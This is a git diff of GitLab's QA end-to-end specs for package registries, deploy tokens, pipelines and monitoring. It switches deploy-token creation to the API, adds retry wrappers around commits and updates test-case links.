diff --git a/qa/qa/specs/features/browser_ui/5_package/package_registry/npm/npm_instance_level_spec.rb b/qa/qa/specs/features/browser_ui/5_package/package_registry/npm/npm_instance_level_spec.rb
index f2b1c1b01a0..c58cdec622d 100644
--- a/qa/qa/specs/features/browser_ui/5_package/package_registry/npm/npm_instance_level_spec.rb
+++ b/qa/qa/specs/features/browser_ui/5_package/package_registry/npm/npm_instance_level_spec.rb
@@ -16,13 +16,13 @@ module QA
end
let(:project_deploy_token) do
- Resource::DeployToken.fabricate_via_browser_ui! do |deploy_token|
+ Resource::ProjectDeployToken.fabricate_via_api! do |deploy_token|
deploy_token.name = 'npm-deploy-token'
deploy_token.project = project
- deploy_token.scopes = [
- :read_repository,
- :read_package_registry,
- :write_package_registry
+ deploy_token.scopes = %w[
+ read_repository
+ read_package_registry
+ write_package_registry
]
end
end
@@ -151,18 +151,20 @@ module QA
when :ci_job_token
'${CI_JOB_TOKEN}'
when :project_deploy_token
- "\"#{project_deploy_token.password}\""
+ "\"#{project_deploy_token.token}\""
end
end
it "push and pull a npm package via CI using a #{params[:token_name]}" do
- Resource::Repository::Commit.fabricate_via_api! do |commit|
- commit.project = project
- commit.commit_message = 'Add .gitlab-ci.yml'
- commit.add_files([
- gitlab_ci_deploy_yaml,
- package_json
- ])
+ Support::Retrier.retry_on_exception(max_attempts: 3, sleep_interval: 2) do
+ Resource::Repository::Commit.fabricate_via_api! do |commit|
+ commit.project = project
+ commit.commit_message = 'Add .gitlab-ci.yml'
+ commit.add_files([
+ gitlab_ci_deploy_yaml,
+ package_json
+ ])
+ end
end
project.visit!
@@ -176,12 +178,14 @@ module QA
expect(job).to be_successful(timeout: 800)
end
- Resource::Repository::Commit.fabricate_via_api! do |commit|
- commit.project = another_project
- commit.commit_message = 'Add .gitlab-ci.yml'
- commit.add_files([
- gitlab_ci_install_yaml
- ])
+ Support::Retrier.retry_on_exception(max_attempts: 3, sleep_interval: 2) do
+ Resource::Repository::Commit.fabricate_via_api! do |commit|
+ commit.project = another_project
+ commit.commit_message = 'Add .gitlab-ci.yml'
+ commit.add_files([
+ gitlab_ci_install_yaml
+ ])
+ end
end
another_project.visit!
@@ -199,7 +203,7 @@ module QA
Page::Project::Artifact::Show.perform do |artifacts|
artifacts.go_to_directory('node_modules')
artifacts.go_to_directory("@#{registry_scope}")
- expect(artifacts).to have_content( "#{project.name}")
+ expect(artifacts).to have_content("#{project.name}")
end
project.visit!
diff --git a/qa/qa/specs/features/browser_ui/5_package/package_registry/npm/npm_project_level_spec.rb b/qa/qa/specs/features/browser_ui/5_package/package_registry/npm/npm_project_level_spec.rb
index 832f8c7f72c..cec902e073a 100644
--- a/qa/qa/specs/features/browser_ui/5_package/package_registry/npm/npm_project_level_spec.rb
+++ b/qa/qa/specs/features/browser_ui/5_package/package_registry/npm/npm_project_level_spec.rb
@@ -16,13 +16,13 @@ module QA
end
let(:project_deploy_token) do
- Resource::DeployToken.fabricate_via_browser_ui! do |deploy_token|
+ Resource::ProjectDeployToken.fabricate_via_api! do |deploy_token|
deploy_token.name = 'npm-deploy-token'
deploy_token.project = project
- deploy_token.scopes = [
- :read_repository,
- :read_package_registry,
- :write_package_registry
+ deploy_token.scopes = %w[
+ read_repository
+ read_package_registry
+ write_package_registry
]
end
end
@@ -91,7 +91,7 @@ module QA
file_path: 'package.json',
content: <<~JSON
{
- "name": "@#{registry_scope}/mypackage",
+ "name": "#{package.name}",
"version": "1.0.0",
"description": "Example package for GitLab npm registry",
"publishConfig": {
@@ -129,11 +129,11 @@ module QA
when :ci_job_token
'${CI_JOB_TOKEN}'
when :project_deploy_token
- "\"#{project_deploy_token.password}\""
+ "\"#{project_deploy_token.token}\""
end
end
- it "push and pull a npm package via CI using a #{params[:token_name]}", quarantine: { issue: 'https://gitlab.com/gitlab-org/gitlab/-/issues/344537', type: :investigating } do
+ it "push and pull a npm package via CI using a #{params[:token_name]}" do
Resource::Repository::Commit.fabricate_via_api! do |commit|
commit.project = project
commit.commit_message = 'Add .gitlab-ci.yml'
@@ -168,7 +168,7 @@ module QA
Page::Project::Artifact::Show.perform do |artifacts|
artifacts.go_to_directory('node_modules')
artifacts.go_to_directory("@#{registry_scope}")
- expect(artifacts).to have_content("mypackage")
+ expect(artifacts).to have_content('mypackage')
end
project.visit!
diff --git a/qa/qa/specs/features/browser_ui/5_package/package_registry/nuget_repository_spec.rb b/qa/qa/specs/features/browser_ui/5_package/package_registry/nuget_repository_spec.rb
index 0b4825715c1..d63bf486f11 100644
--- a/qa/qa/specs/features/browser_ui/5_package/package_registry/nuget_repository_spec.rb
+++ b/qa/qa/specs/features/browser_ui/5_package/package_registry/nuget_repository_spec.rb
@@ -9,6 +9,7 @@ module QA
Resource::Project.fabricate_via_api! do |project|
project.name = 'nuget-package-project'
project.template_name = 'dotnetcore'
+ project.visibility = :private
end
end
@@ -21,9 +22,14 @@ module QA
end
let(:group_deploy_token) do
- Resource::GroupDeployToken.fabricate_via_browser_ui! do |deploy_token|
+ Resource::GroupDeployToken.fabricate_via_api! do |deploy_token|
deploy_token.name = 'nuget-group-deploy-token'
deploy_token.group = project.group
+ deploy_token.scopes = %w[
+ read_repository
+ read_package_registry
+ write_package_registry
+ ]
end
end
@@ -70,7 +76,7 @@ module QA
when :ci_job_token
'${CI_JOB_TOKEN}'
when :group_deploy_token
- "\"#{group_deploy_token.password}\""
+ "\"#{group_deploy_token.token}\""
end
end
@@ -88,35 +94,37 @@ module QA
it "publishes a nuget package at the project level, installs and deletes it at the group level using a #{params[:token_name]}" do
Flow::Login.sign_in
- Resource::Repository::Commit.fabricate_via_api! do |commit|
- commit.project = project
- commit.commit_message = 'Add .gitlab-ci.yml'
- commit.update_files(
- [
- {
- file_path: '.gitlab-ci.yml',
- content: <<~YAML
- image: mcr.microsoft.com/dotnet/sdk:5.0
-
- stages:
- - deploy
-
- deploy:
- stage: deploy
- script:
- - dotnet restore -p:Configuration=Release
- - dotnet build -c Release
- - dotnet pack -c Release -p:PackageID=#{package.name}
- - dotnet nuget add source "$CI_SERVER_URL/api/v4/projects/$CI_PROJECT_ID/packages/nuget/index.json" --name gitlab --username #{auth_token_username} --password #{auth_token_password} --store-password-in-clear-text
- - dotnet nuget push "bin/Release/*.nupkg" --source gitlab
- rules:
- - if: '$CI_COMMIT_BRANCH == "#{project.default_branch}"'
- tags:
- - "runner-for-#{project.group.name}"
- YAML
- }
- ]
- )
+ Support::Retrier.retry_on_exception(max_attempts: 3, sleep_interval: 2) do
+ Resource::Repository::Commit.fabricate_via_api! do |commit|
+ commit.project = project
+ commit.commit_message = 'Add .gitlab-ci.yml'
+ commit.update_files(
+ [
+ {
+ file_path: '.gitlab-ci.yml',
+ content: <<~YAML
+ image: mcr.microsoft.com/dotnet/sdk:5.0
+
+ stages:
+ - deploy
+
+ deploy:
+ stage: deploy
+ script:
+ - dotnet restore -p:Configuration=Release
+ - dotnet build -c Release
+ - dotnet pack -c Release -p:PackageID=#{package.name}
+ - dotnet nuget add source "$CI_SERVER_URL/api/v4/projects/$CI_PROJECT_ID/packages/nuget/index.json" --name gitlab --username #{auth_token_username} --password #{auth_token_password} --store-password-in-clear-text
+ - dotnet nuget push "bin/Release/*.nupkg" --source gitlab
+ rules:
+ - if: '$CI_COMMIT_BRANCH == "#{project.default_branch}"'
+ tags:
+ - "runner-for-#{project.group.name}"
+ YAML
+ }
+ ]
+ )
+ end
end
project.visit!
@@ -132,50 +140,52 @@ module QA
another_project.visit!
- Resource::Repository::Commit.fabricate_via_api! do |commit|
- commit.project = another_project
- commit.commit_message = 'Add new csproj file'
- commit.add_files(
- [
- {
- file_path: 'otherdotnet.csproj',
- content: <<~EOF
- <Project Sdk="Microsoft.NET.Sdk">
-
- <PropertyGroup>
- <OutputType>Exe</OutputType>
- <TargetFramework>net5.0</TargetFramework>
- </PropertyGroup>
-
- </Project>
- EOF
- }
- ]
- )
- commit.update_files(
- [
- {
- file_path: '.gitlab-ci.yml',
- content: <<~YAML
- image: mcr.microsoft.com/dotnet/sdk:5.0
-
- stages:
- - install
-
- install:
- stage: install
- script:
- - dotnet nuget locals all --clear
- - dotnet nuget add source "$CI_SERVER_URL/api/v4/groups/#{another_project.group.id}/-/packages/nuget/index.json" --name gitlab --username #{auth_token_username} --password #{auth_token_password} --store-password-in-clear-text
- - "dotnet add otherdotnet.csproj package #{package.name} --version 1.0.0"
- only:
- - "#{another_project.default_branch}"
- tags:
- - "runner-for-#{project.group.name}"
- YAML
- }
- ]
- )
+ Support::Retrier.retry_on_exception(max_attempts: 3, sleep_interval: 2) do
+ Resource::Repository::Commit.fabricate_via_api! do |commit|
+ commit.project = another_project
+ commit.commit_message = 'Add new csproj file'
+ commit.add_files(
+ [
+ {
+ file_path: 'otherdotnet.csproj',
+ content: <<~EOF
+ <Project Sdk="Microsoft.NET.Sdk">
+
+ <PropertyGroup>
+ <OutputType>Exe</OutputType>
+ <TargetFramework>net5.0</TargetFramework>
+ </PropertyGroup>
+
+ </Project>
+ EOF
+ }
+ ]
+ )
+ commit.update_files(
+ [
+ {
+ file_path: '.gitlab-ci.yml',
+ content: <<~YAML
+ image: mcr.microsoft.com/dotnet/sdk:5.0
+
+ stages:
+ - install
+
+ install:
+ stage: install
+ script:
+ - dotnet nuget locals all --clear
+ - dotnet nuget add source "$CI_SERVER_URL/api/v4/groups/#{another_project.group.id}/-/packages/nuget/index.json" --name gitlab --username #{auth_token_username} --password #{auth_token_password} --store-password-in-clear-text
+ - "dotnet add otherdotnet.csproj package #{package.name} --version 1.0.0"
+ only:
+ - "#{another_project.default_branch}"
+ tags:
+ - "runner-for-#{project.group.name}"
+ YAML
+ }
+ ]
+ )
+ end
end
Flow::Pipeline.visit_latest_pipeline
diff --git a/qa/qa/specs/features/browser_ui/5_package/package_registry/pypi_repository_spec.rb b/qa/qa/specs/features/browser_ui/5_package/package_registry/pypi_repository_spec.rb
index e727a89a584..2e7bd8fc5d7 100644
--- a/qa/qa/specs/features/browser_ui/5_package/package_registry/pypi_repository_spec.rb
+++ b/qa/qa/specs/features/browser_ui/5_package/package_registry/pypi_repository_spec.rb
@@ -34,58 +34,60 @@ module QA
before do
Flow::Login.sign_in
- Resource::Repository::Commit.fabricate_via_api! do |commit|
- commit.project = project
- commit.commit_message = 'Add .gitlab-ci.yml'
- commit.add_files([{
- file_path: '.gitlab-ci.yml',
- content:
- <<~YAML
- image: python:latest
- stages:
- - run
- - install
-
- run:
- stage: run
- script:
- - pip install twine
- - python setup.py sdist bdist_wheel
- - "TWINE_PASSWORD=${CI_JOB_TOKEN} TWINE_USERNAME=gitlab-ci-token python -m twine upload --repository-url #{gitlab_address_with_port}/api/v4/projects/${CI_PROJECT_ID}/packages/pypi dist/*"
- tags:
+ Support::Retrier.retry_on_exception(max_attempts: 3, sleep_interval: 2) do
+ Resource::Repository::Commit.fabricate_via_api! do |commit|
+ commit.project = project
+ commit.commit_message = 'Add .gitlab-ci.yml'
+ commit.add_files([{
+ file_path: '.gitlab-ci.yml',
+ content:
+ <<~YAML
+ image: python:latest
+ stages:
+ - run
+ - install
+
+ run:
+ stage: run
+ script:
+ - pip install twine
+ - python setup.py sdist bdist_wheel
+ - "TWINE_PASSWORD=${CI_JOB_TOKEN} TWINE_USERNAME=gitlab-ci-token python -m twine upload --repository-url #{gitlab_address_with_port}/api/v4/projects/${CI_PROJECT_ID}/packages/pypi dist/*"
+ tags:
+ - "runner-for-#{project.name}"
+ install:
+ stage: install
+ script:
+ - "pip install #{package.name} --no-deps --index-url #{uri.scheme}://#{personal_access_token}:#{personal_access_token}@#{gitlab_host_with_port}/api/v4/projects/${CI_PROJECT_ID}/packages/pypi/simple --trusted-host #{gitlab_host_with_port}"
+ tags:
- "runner-for-#{project.name}"
- install:
- stage: install
- script:
- - "pip install #{package.name} --no-deps --index-url #{uri.scheme}://#{personal_access_token}:#{personal_access_token}@#{gitlab_host_with_port}/api/v4/projects/${CI_PROJECT_ID}/packages/pypi/simple --trusted-host #{gitlab_host_with_port}"
- tags:
- - "runner-for-#{project.name}"
-
- YAML
- },
- {
- file_path: 'setup.py',
- content:
- <<~EOF
- import setuptools
-
- setuptools.setup(
- name="#{package.name}",
- version="0.0.1",
- author="Example Author",
- author_email="author@example.com",
- description="A small example package",
- packages=setuptools.find_packages(),
- classifiers=[
- "Programming Language :: Python :: 3",
- "License :: OSI Approved :: MIT License",
- "Operating System :: OS Independent",
- ],
- python_requires='>=3.6',
- )
- EOF
-
- }])
+
+ YAML
+ },
+ {
+ file_path: 'setup.py',
+ content:
+ <<~EOF
+ import setuptools
+
+ setuptools.setup(
+ name="#{package.name}",
+ version="0.0.1",
+ author="Example Author",
+ author_email="author@example.com",
+ description="A small example package",
+ packages=setuptools.find_packages(),
+ classifiers=[
+ "Programming Language :: Python :: 3",
+ "License :: OSI Approved :: MIT License",
+ "Operating System :: OS Independent",
+ ],
+ python_requires='>=3.6',
+ )
+ EOF
+
+ }])
+ end
end
project.visit!
@@ -117,7 +119,7 @@ module QA
end
context 'when at the project level' do
- it 'publishes and installs a pypi package and deletes it', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/1635' do
+ it 'publishes and installs a pypi package and deletes it', testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/348015' do
Page::Project::Menu.perform(&:click_packages_link)
Page::Project::Packages::Index.perform do |index|
@@ -137,7 +139,7 @@ module QA
end
context 'Geo', :orchestrated, :geo do
- it 'replicates a published pypi package to the Geo secondary site', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/1219', quarantine: { issue: 'https://gitlab.com/gitlab-org/gitlab/-/issues/325556', type: :investigating } do
+ it 'replicates a published pypi package to the Geo secondary site', testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/348090', quarantine: { issue: 'https://gitlab.com/gitlab-org/gitlab/-/issues/325556', type: :investigating } do
QA::Runtime::Logger.debug('Visiting the secondary Geo site')
QA::Flow::Login.while_signed_in(address: :geo_secondary) do
diff --git a/qa/qa/specs/features/browser_ui/5_package/package_registry/rubygems_registry_spec.rb b/qa/qa/specs/features/browser_ui/5_package/package_registry/rubygems_registry_spec.rb
index ecf14a25b8d..062d2b49deb 100644
--- a/qa/qa/specs/features/browser_ui/5_package/package_registry/rubygems_registry_spec.rb
+++ b/qa/qa/specs/features/browser_ui/5_package/package_registry/rubygems_registry_spec.rb
@@ -43,94 +43,96 @@ module QA
project.remove_via_api!
end
- it 'publishes and deletes a Ruby gem', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/1906' do
+ it 'publishes and deletes a Ruby gem', testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/347649' do
Flow::Login.sign_in
- Resource::Repository::Commit.fabricate_via_api! do |commit|
- commit.project = project
- commit.commit_message = 'Add package files'
- commit.add_files(
- [
- {
- file_path: '.gitlab-ci.yml',
- content:
- <<~YAML
- image: ruby
-
- test_package:
- stage: deploy
- before_script:
- - mkdir ~/.gem
- - echo "---" > ~/.gem/credentials
- - |
- echo "#{gitlab_address_with_port}/api/v4/projects/${CI_PROJECT_ID}/packages/rubygems: '${CI_JOB_TOKEN}'" >> ~/.gem/credentials
- - chmod 0600 ~/.gem/credentials
- script:
- - gem build #{package.name}
- - gem push #{package.name}-0.0.1.gem --host #{gitlab_address_with_port}/api/v4/projects/${CI_PROJECT_ID}/packages/rubygems
- tags:
- - "runner-for-#{project.name}"
- YAML
- },
- {
- file_path: 'lib/hello_gem.rb',
- content:
- <<~RUBY
- class HelloWorld
- def self.hi
- puts "Hello world!"
+ Support::Retrier.retry_on_exception(max_attempts: 3, sleep_interval: 2) do
+ Resource::Repository::Commit.fabricate_via_api! do |commit|
+ commit.project = project
+ commit.commit_message = 'Add package files'
+ commit.add_files(
+ [
+ {
+ file_path: '.gitlab-ci.yml',
+ content:
+ <<~YAML
+ image: ruby
+
+ test_package:
+ stage: deploy
+ before_script:
+ - mkdir ~/.gem
+ - echo "---" > ~/.gem/credentials
+ - |
+ echo "#{gitlab_address_with_port}/api/v4/projects/${CI_PROJECT_ID}/packages/rubygems: '${CI_JOB_TOKEN}'" >> ~/.gem/credentials
+ - chmod 0600 ~/.gem/credentials
+ script:
+ - gem build #{package.name}
+ - gem push #{package.name}-0.0.1.gem --host #{gitlab_address_with_port}/api/v4/projects/${CI_PROJECT_ID}/packages/rubygems
+ tags:
+ - "runner-for-#{project.name}"
+ YAML
+ },
+ {
+ file_path: 'lib/hello_gem.rb',
+ content:
+ <<~RUBY
+ class HelloWorld
+ def self.hi
+ puts "Hello world!"
+ end
end
- end
- RUBY
- },
- {
- file_path: "#{package.name}.gemspec",
- content:
- <<~RUBY
- # frozen_string_literal: true
-
- Gem::Specification.new do |s|
- s.name = '#{package.name}'
- s.authors = ['Tanuki Steve', 'Hal 9000']
- s.author = 'Tanuki Steve'
- s.version = '0.0.1'
- s.date = '2011-09-29'
- s.summary = 'this is a test package'
- s.files = ['lib/hello_gem.rb']
- s.require_paths = ['lib']
-
- s.description = 'A test package for GitLab.'
- s.email = 'tanuki@not_real.com'
- s.homepage = 'https://gitlab.com/ruby-co/my-package'
- s.license = 'MIT'
-
- s.metadata = {
- 'bug_tracker_uri' => 'https://gitlab.com/ruby-co/my-package/issues',
- 'changelog_uri' => 'https://gitlab.com/ruby-co/my-package/CHANGELOG.md',
- 'documentation_uri' => 'https://gitlab.com/ruby-co/my-package/docs',
- 'mailing_list_uri' => 'https://gitlab.com/ruby-co/my-package/mailme',
- 'source_code_uri' => 'https://gitlab.com/ruby-co/my-package'
- }
-
- s.bindir = 'bin'
- s.platform = Gem::Platform::RUBY
- s.post_install_message = 'Installed, thank you!'
- s.rdoc_options = ['--main']
- s.required_ruby_version = '>= 2.7.0'
- s.required_rubygems_version = '>= 1.8.11'
- s.requirements = 'A high powered server or calculator'
- s.rubygems_version = '1.8.09'
-
- s.add_dependency 'dependency_1', '~> 1.2.3'
- s.add_dependency 'dependency_2', '3.0.0'
- s.add_dependency 'dependency_3', '>= 1.0.0'
- s.add_dependency 'dependency_4'
- end
-
- RUBY
- }
- ]
- )
+ RUBY
+ },
+ {
+ file_path: "#{package.name}.gemspec",
+ content:
+ <<~RUBY
+ # frozen_string_literal: true
+
+ Gem::Specification.new do |s|
+ s.name = '#{package.name}'
+ s.authors = ['Tanuki Steve', 'Hal 9000']
+ s.author = 'Tanuki Steve'
+ s.version = '0.0.1'
+ s.date = '2011-09-29'
+ s.summary = 'this is a test package'
+ s.files = ['lib/hello_gem.rb']
+ s.require_paths = ['lib']
+
+ s.description = 'A test package for GitLab.'
+ s.email = 'tanuki@not_real.com'
+ s.homepage = 'https://gitlab.com/ruby-co/my-package'
+ s.license = 'MIT'
+
+ s.metadata = {
+ 'bug_tracker_uri' => 'https://gitlab.com/ruby-co/my-package/issues',
+ 'changelog_uri' => 'https://gitlab.com/ruby-co/my-package/CHANGELOG.md',
+ 'documentation_uri' => 'https://gitlab.com/ruby-co/my-package/docs',
+ 'mailing_list_uri' => 'https://gitlab.com/ruby-co/my-package/mailme',
+ 'source_code_uri' => 'https://gitlab.com/ruby-co/my-package'
+ }
+
+ s.bindir = 'bin'
+ s.platform = Gem::Platform::RUBY
+ s.post_install_message = 'Installed, thank you!'
+ s.rdoc_options = ['--main']
+ s.required_ruby_version = '>= 2.7.0'
+ s.required_rubygems_version = '>= 1.8.11'
+ s.requirements = 'A high powered server or calculator'
+ s.rubygems_version = '1.8.09'
+
+ s.add_dependency 'dependency_1', '~> 1.2.3'
+ s.add_dependency 'dependency_2', '3.0.0'
+ s.add_dependency 'dependency_3', '>= 1.0.0'
+ s.add_dependency 'dependency_4'
+ end
+
+ RUBY
+ }
+ ]
+ )
+ end
end
project.visit!
diff --git a/qa/qa/specs/features/browser_ui/6_release/deploy_key/add_deploy_key_spec.rb b/qa/qa/specs/features/browser_ui/6_release/deploy_key/add_deploy_key_spec.rb
index 8878b719a21..260c812420c 100644
--- a/qa/qa/specs/features/browser_ui/6_release/deploy_key/add_deploy_key_spec.rb
+++ b/qa/qa/specs/features/browser_ui/6_release/deploy_key/add_deploy_key_spec.rb
@@ -3,7 +3,7 @@
module QA
RSpec.describe 'Release' do
describe 'Deploy key creation' do
- it 'user adds a deploy key', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/1602' do
+ it 'user adds a deploy key', testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/348023' do
Flow::Login.sign_in
key = Runtime::Key::RSA.new
diff --git a/qa/qa/specs/features/browser_ui/6_release/deploy_token/add_deploy_token_spec.rb b/qa/qa/specs/features/browser_ui/6_release/deploy_token/add_deploy_token_spec.rb
index 81ccc585cf9..9811453605e 100644
--- a/qa/qa/specs/features/browser_ui/6_release/deploy_token/add_deploy_token_spec.rb
+++ b/qa/qa/specs/features/browser_ui/6_release/deploy_token/add_deploy_token_spec.rb
@@ -3,20 +3,20 @@
module QA
RSpec.describe 'Release' do
describe 'Deploy token creation' do
- it 'user adds a deploy token', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/1582' do
+ it 'user adds a deploy token', testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/348028' do
Flow::Login.sign_in
deploy_token_name = 'deploy token name'
one_week_from_now = Date.today + 7
- deploy_token = Resource::DeployToken.fabricate_via_browser_ui! do |resource|
+ deploy_token = Resource::ProjectDeployToken.fabricate_via_api! do |resource|
resource.name = deploy_token_name
resource.expires_at = one_week_from_now
- resource.scopes = [:read_repository]
+ resource.scopes = %w[read_repository]
end
expect(deploy_token.username.length).to be > 0
- expect(deploy_token.password.length).to be > 0
+ expect(deploy_token.token.length).to be > 0
end
end
end
diff --git a/qa/qa/specs/features/browser_ui/6_release/pages/pages_pipeline_spec.rb b/qa/qa/specs/features/browser_ui/6_release/pages/pages_pipeline_spec.rb
index 97f52ea7ec1..d1d2340e5f1 100644
--- a/qa/qa/specs/features/browser_ui/6_release/pages/pages_pipeline_spec.rb
+++ b/qa/qa/specs/features/browser_ui/6_release/pages/pages_pipeline_spec.rb
@@ -31,7 +31,7 @@ module QA
pipeline.visit!
end
- it 'runs a Pages-specific pipeline', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/1879' do
+ it 'runs a Pages-specific pipeline', testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/347669' do
Page::Project::Pipeline::Show.perform do |show|
expect(show).to have_job(:pages)
show.click_job(:pages)
diff --git a/qa/qa/specs/features/browser_ui/6_release/pipeline/parent_child_pipelines_dependent_relationship_spec.rb b/qa/qa/specs/features/browser_ui/6_release/pipeline/parent_child_pipelines_dependent_relationship_spec.rb
index 46640b1a540..e34f41b4c95 100644
--- a/qa/qa/specs/features/browser_ui/6_release/pipeline/parent_child_pipelines_dependent_relationship_spec.rb
+++ b/qa/qa/specs/features/browser_ui/6_release/pipeline/parent_child_pipelines_dependent_relationship_spec.rb
@@ -25,7 +25,7 @@ module QA
runner.remove_via_api!
end
- it 'parent pipelines passes if child passes', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/1198' do
+ it 'parent pipelines passes if child passes', testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/348092' do
add_ci_files(success_child_ci_file)
Flow::Pipeline.visit_latest_pipeline(pipeline_condition: 'completed')
@@ -35,7 +35,7 @@ module QA
end
end
- it 'parent pipeline fails if child fails', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/1199' do
+ it 'parent pipeline fails if child fails', testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/348091' do
add_ci_files(fail_child_ci_file)
Flow::Pipeline.visit_latest_pipeline(pipeline_condition: 'completed')
diff --git a/qa/qa/specs/features/browser_ui/6_release/pipeline/parent_child_pipelines_independent_relationship_spec.rb b/qa/qa/specs/features/browser_ui/6_release/pipeline/parent_child_pipelines_independent_relationship_spec.rb
index dac89663f84..74a81ff429d 100644
--- a/qa/qa/specs/features/browser_ui/6_release/pipeline/parent_child_pipelines_independent_relationship_spec.rb
+++ b/qa/qa/specs/features/browser_ui/6_release/pipeline/parent_child_pipelines_independent_relationship_spec.rb
@@ -25,7 +25,7 @@ module QA
runner.remove_via_api!
end
- it 'parent pipelines passes if child passes', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/1191' do
+ it 'parent pipelines passes if child passes', testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/348093' do
add_ci_files(success_child_ci_file)
Flow::Pipeline.visit_latest_pipeline(pipeline_condition: 'completed')
@@ -35,7 +35,7 @@ module QA
end
end
- it 'parent pipeline passes even if child fails', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/1190' do
+ it 'parent pipeline passes even if child fails', testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/348094' do
add_ci_files(fail_child_ci_file)
Flow::Pipeline.visit_latest_pipeline(pipeline_condition: 'completed')
diff --git a/qa/qa/specs/features/browser_ui/7_configure/auto_devops/create_project_with_auto_devops_spec.rb b/qa/qa/specs/features/browser_ui/7_configure/auto_devops/create_project_with_auto_devops_spec.rb
index e20b76f6bf8..70321dcafe4 100644
--- a/qa/qa/specs/features/browser_ui/7_configure/auto_devops/create_project_with_auto_devops_spec.rb
+++ b/qa/qa/specs/features/browser_ui/7_configure/auto_devops/create_project_with_auto_devops_spec.rb
@@ -22,7 +22,7 @@ module QA
project.remove_via_api!
end
- it 'runs auto devops', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/1422' do
+ it 'runs auto devops', testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/348061' do
Flow::Login.sign_in
Resource::KubernetesCluster::ProjectCluster.fabricate! do |k8s_cluster|
diff --git a/qa/qa/specs/features/browser_ui/7_configure/kubernetes/kubernetes_integration_spec.rb b/qa/qa/specs/features/browser_ui/7_configure/kubernetes/kubernetes_integration_spec.rb
index b928eae62e6..94f9e9ec1f6 100644
--- a/qa/qa/specs/features/browser_ui/7_configure/kubernetes/kubernetes_integration_spec.rb
+++ b/qa/qa/specs/features/browser_ui/7_configure/kubernetes/kubernetes_integration_spec.rb
@@ -20,7 +20,7 @@ module QA
cluster.remove!
end
- it 'can create and associate a project cluster', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/1419' do
+ it 'can create and associate a project cluster', testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/348062' do
Resource::KubernetesCluster::ProjectCluster.fabricate_via_browser_ui! do |k8s_cluster|
k8s_cluster.project = project
k8s_cluster.cluster = cluster
diff --git a/qa/qa/specs/features/browser_ui/8_monitor/all_monitor_core_features_spec.rb b/qa/qa/specs/features/browser_ui/8_monitor/all_monitor_core_features_spec.rb
index 14bd6af815e..c13d2d2dddf 100644
--- a/qa/qa/specs/features/browser_ui/8_monitor/all_monitor_core_features_spec.rb
+++ b/qa/qa/specs/features/browser_ui/8_monitor/all_monitor_core_features_spec.rb
@@ -10,13 +10,13 @@ module QA
@project.visit!
end
- it 'configures custom metrics', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/1334' do
+ it 'configures custom metrics', testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/348082' do
verify_add_custom_metric
verify_edit_custom_metric
verify_delete_custom_metric
end
- it 'duplicates to create dashboard to custom', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/1335' do
+ it 'duplicates to create dashboard to custom', testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/348070' do
Page::Project::Menu.perform(&:go_to_monitor_metrics)
Page::Project::Monitor::Metrics::Show.perform do |on_dashboard|
@@ -27,7 +27,7 @@ module QA
end
end
- it 'verifies data on filtered deployed environment', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/1332' do
+ it 'verifies data on filtered deployed environment', testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/348071' do
Page::Project::Menu.perform(&:go_to_monitor_metrics)
Page::Project::Monitor::Metrics::Show.perform do |on_dashboard|
@@ -37,7 +37,7 @@ module QA
end
end
- it 'filters using the quick range', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/1333' do
+ it 'filters using the quick range', testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/348083' do
Page::Project::Menu.perform(&:go_to_monitor_metrics)
Page::Project::Monitor::Metrics::Show.perform do |on_dashboard|
@@ -52,7 +52,7 @@ module QA
end
end
- it 'observes cluster health graph', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/1311' do
+ it 'observes cluster health graph', testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/348074' do
Page::Project::Menu.perform(&:go_to_infrastructure_kubernetes)
Page::Project::Infrastructure::Kubernetes::Index.perform do |cluster_list|
@@ -65,7 +65,7 @@ module QA
end
end
- it 'uses templating variables for metrics dashboards', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/1926' do
+ it 'uses templating variables for metrics dashboards', testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/347636' do
templating_dashboard_yml = Pathname
.new(__dir__)
.join('../../../../fixtures/metrics_dashboards/templating.yml')
diff --git a/qa/qa/specs/features/browser_ui/non_devops/performance_bar_spec.rb b/qa/qa/specs/features/browser_ui/non_devops/performance_bar_spec.rb
deleted file mode 100644
index 9d84658da76..00000000000
--- a/qa/qa/specs/features/browser_ui/non_devops/performance_bar_spec.rb
+++ /dev/null
